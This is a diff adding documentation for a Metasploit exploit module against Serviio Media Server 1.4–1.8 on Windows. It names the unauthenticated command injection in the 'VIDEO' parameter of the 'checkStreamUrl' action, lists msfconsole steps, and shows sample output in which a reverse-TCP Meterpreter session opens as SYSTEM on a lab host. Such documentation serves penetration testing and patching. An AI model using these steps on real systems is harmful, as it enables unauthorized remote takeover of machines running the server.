|
| 1 | +## Description |
| 2 | + |
| 3 | + This module exploits an unauthenticated remote command execution vulnerability in the console component of [Serviio Media Server](http://serviio.org/) versions 1.4 to 1.8 on Windows operating systems. |
| 4 | + |
| 5 | + The console service (on port 23423 by default) exposes a REST API which which does not require authentication. |
| 6 | + |
| 7 | + The 'action' API endpoint does not sufficiently sanitize user-supplied data in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is used in a call to cmd.exe resulting in execution of arbitrary commands. |
| 8 | + |
| 9 | +## Vulnerable Application |
| 10 | + |
| 11 | + Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network. |
| 12 | + |
| 13 | + Serviio is based on Java technology and therefore runs on most platforms, including Windows, Mac and Linux (incl. embedded systems, e.g. NAS). |
| 14 | + |
| 15 | + This module has been tested successfully on Serviio Media Server versions 1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7. |
| 16 | + |
| 17 | + Installers: |
| 18 | + |
| 19 | + * [serviio-1.8-win-setup.exe](http://download.serviio.org/releases/serviio-1.8-win-setup.exe) |
| 20 | + * [serviio-1.7-win-setup.exe](http://download.serviio.org/releases/serviio-1.7-win-setup.exe) |
| 21 | + * [serviio-1.6-win-setup.exe](http://download.serviio.org/releases/serviio-1.6-win-setup.exe) |
| 22 | + * [serviio-1.5-win-setup.exe](http://download.serviio.org/releases/serviio-1.5-win-setup.exe) |
| 23 | + * [serviio-1.4-win-setup.exe](http://download.serviio.org/releases/serviio-1.4-win-setup.exe) |
| 24 | + |
| 25 | +## Verification Steps |
| 26 | + |
| 27 | + 1. Start `msfconsole` |
| 28 | + 2. Do: `use exploit/windows/http/serviio_checkstreamurl_cmd_exec` |
| 29 | + 3. Do: `set rhost [IP]` |
| 30 | + 4. Do: `run` |
| 31 | + 5. You should get a session |
| 32 | + |
| 33 | +## Sample Output |
| 34 | + |
| 35 | + ``` |
| 36 | + msf > use exploit/windows/http/serviio_checkstreamurl_cmd_exec |
| 37 | + msf exploit(serviio_checkstreamurl_cmd_exec) > set rhost 172.16.191.166 |
| 38 | + rhost => 172.16.191.166 |
| 39 | + msf exploit(serviio_checkstreamurl_cmd_exec) > check |
| 40 | + [*] 172.16.191.166:23423 The target appears to be vulnerable. |
| 41 | + msf exploit(serviio_checkstreamurl_cmd_exec) > set verbose true |
| 42 | + verbose => true |
| 43 | + msf exploit(serviio_checkstreamurl_cmd_exec) > check |
| 44 | +
|
| 45 | + [*] 172.16.191.166:23423 Serviio Media Server version 1.8 |
| 46 | + [*] 172.16.191.166:23423 The target appears to be vulnerable. |
| 47 | + msf exploit(serviio_checkstreamurl_cmd_exec) > run |
| 48 | +
|
| 49 | + [*] Started reverse TCP handler on 172.16.191.181:4444 |
| 50 | + [*] Serviio Media Server version 1.8 |
| 51 | + [*] Command Stager progress - 7.95% done (7999/100636 bytes) |
| 52 | + [*] Command Stager progress - 15.90% done (15998/100636 bytes) |
| 53 | + [*] Command Stager progress - 23.85% done (23997/100636 bytes) |
| 54 | + [*] Command Stager progress - 31.79% done (31996/100636 bytes) |
| 55 | + [*] Command Stager progress - 39.74% done (39995/100636 bytes) |
| 56 | + [*] Command Stager progress - 47.69% done (47994/100636 bytes) |
| 57 | + [*] Command Stager progress - 55.64% done (55993/100636 bytes) |
| 58 | + [*] Command Stager progress - 63.59% done (63992/100636 bytes) |
| 59 | + [*] Command Stager progress - 71.54% done (71991/100636 bytes) |
| 60 | + [*] Command Stager progress - 79.48% done (79990/100636 bytes) |
| 61 | + [*] Command Stager progress - 87.43% done (87989/100636 bytes) |
| 62 | + [*] Command Stager progress - 95.38% done (95988/100636 bytes) |
| 63 | + [*] Sending stage (957487 bytes) to 172.16.191.166 |
| 64 | + [*] Command Stager progress - 100.00% done (100636/100636 bytes) |
| 65 | + [*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.166:58474) at 2017-05-05 02:49:39 -0400 |
| 66 | +
|
| 67 | + meterpreter > getuid |
| 68 | + Server username: NT AUTHORITY\SYSTEM |
| 69 | + meterpreter > pwd |
| 70 | + C:\Program Files\Serviio\bin |
| 71 | + ``` |
0 commit comments